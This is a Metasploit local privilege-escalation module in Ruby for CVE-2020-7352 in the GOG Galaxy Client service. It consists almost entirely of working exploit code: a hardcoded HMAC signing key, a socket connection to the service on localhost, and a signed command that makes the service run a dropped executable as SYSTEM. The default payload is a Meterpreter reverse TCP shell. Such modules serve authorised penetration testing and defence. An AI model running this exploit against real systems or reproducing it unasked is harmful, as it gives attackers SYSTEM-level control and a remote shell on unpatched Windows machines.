GOG GalaxyClientService Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/windows/services'  
require 'openssl'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::Priv  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GOG GalaxyClientService Privilege Escalation',  
'Description' => %q{  
This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed  
with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are  
also likely affected).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Joe Testa <jtesta[at]positronsecurity.com>'  
],  
'Platform' => [ 'win' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
[  
[  
'Windows (Dropper)',  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },  
'Type' => :dropper  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 28 2020',  
'References' =>  
[  
['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],  
['CVE', '2020-7352']  
],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),  
OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])  
]  
)  
end  
  
def check  
log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')  
service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')  
  
return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)  
return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)  
  
log_data = read_file(log_path)  
unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data  
return CheckCode::Detected('Unable to determine version from log file')  
end  
  
return CheckCode::Detected('Galaxy Client version not found') unless ver_no  
  
version = Gem::Version.new(ver_no)  
  
return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')  
  
CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")  
end  
  
def exploit  
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?  
fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'  
  
# The HMAC-SHA512 key for signing file_paths.  
key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"  
key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"  
key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"  
key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"  
key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"  
key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"  
  
# Start the GalaxyClientService. It will automatically terminate after ~10  
# seconds of inactivity, so we don't need to bother shutting it down later.  
print_status('Starting GalaxyClientService...')  
ret = service_start('GalaxyClientService')  
if ret == 0  
print_status('Service started successfully.')  
elsif (ret == 1056) || (ret == 1)  
print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.')  
else  
print_status("Service status unknown (return code: #{ret}). Continuing anyway...")  
end  
  
print_status('Connecting to service...')  
  
# Create a TCP socket.  
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')  
s = handler['return']  
  
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).  
# This only affects the recv(), not connect().  
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)  
  
# Set the socket address structure to localhost:9978.  
sock_addr = "\x02\x00"  
sock_addr << [9978].pack('n')  
sock_addr << Rex::Socket.addr_aton('127.0.0.1')  
sock_addr << "\x00" * 8  
  
# Connect to the service. Retry up to 3 times, waiting 2 seconds in  
# between.  
connected = false  
retries = 0  
while (retries < 3) && (connected == false)  
retries += 1  
handler = client.railgun.ws2_32.connect(s, sock_addr, 16)  
if handler['GetLastError'] == 0  
connected = true  
else  
print_warning('Connection failed. Waiting 2 seconds and trying again...')  
Rex.sleep(2)  
end  
end  
  
fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected  
  
data = build_payload(key)  
print_status('Connected to service. Sending payload...')  
  
# Here, we are calling client.railgun.ws2_32.send(). However, there's a bug  
# somewhere in the railgun system such that send() is never called. It  
# seems that some mystery code is intercepting send() instead of letting it  
# get to LibraryWrapper.method_missing() (perhaps 'send' is a special case  
# somewhere? The other ws2_32 functions work just fine...). To work around  
# this problem, we will simply call it directly with call_function().  
send_func = client.railgun.ws2_32.functions['send']  
client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)  
  
# Read the server's response. On error, it returns nothing.  
response = "\x00" * 512  
handler = client.railgun.ws2_32.recv(s, response, response.length, 0)  
  
# Convert the unsigned return value to a signed value.  
ret = [handler['return'].to_i].pack('l').unpack1('l')  
if ret <= 0  
print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(")  
else  
print_good('Command executed successfully!')  
end  
  
client.railgun.ws2_32.closesocket(s)  
end  
  
def build_payload(key)  
working_dir = datastore['WORKING_DIR']  
  
header1 = "\x00\x93\x08\x04\x10\x01\x18"  
header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"  
  
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"  
file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")  
payload_data = generate_payload_exe  
  
print_status("Writing #{file_path} to target")  
write_file(file_path, payload_data)  
register_file_for_cleanup(file_path)  
  
gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"  
gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"  
  
payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)  
header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd  
end  
end  
`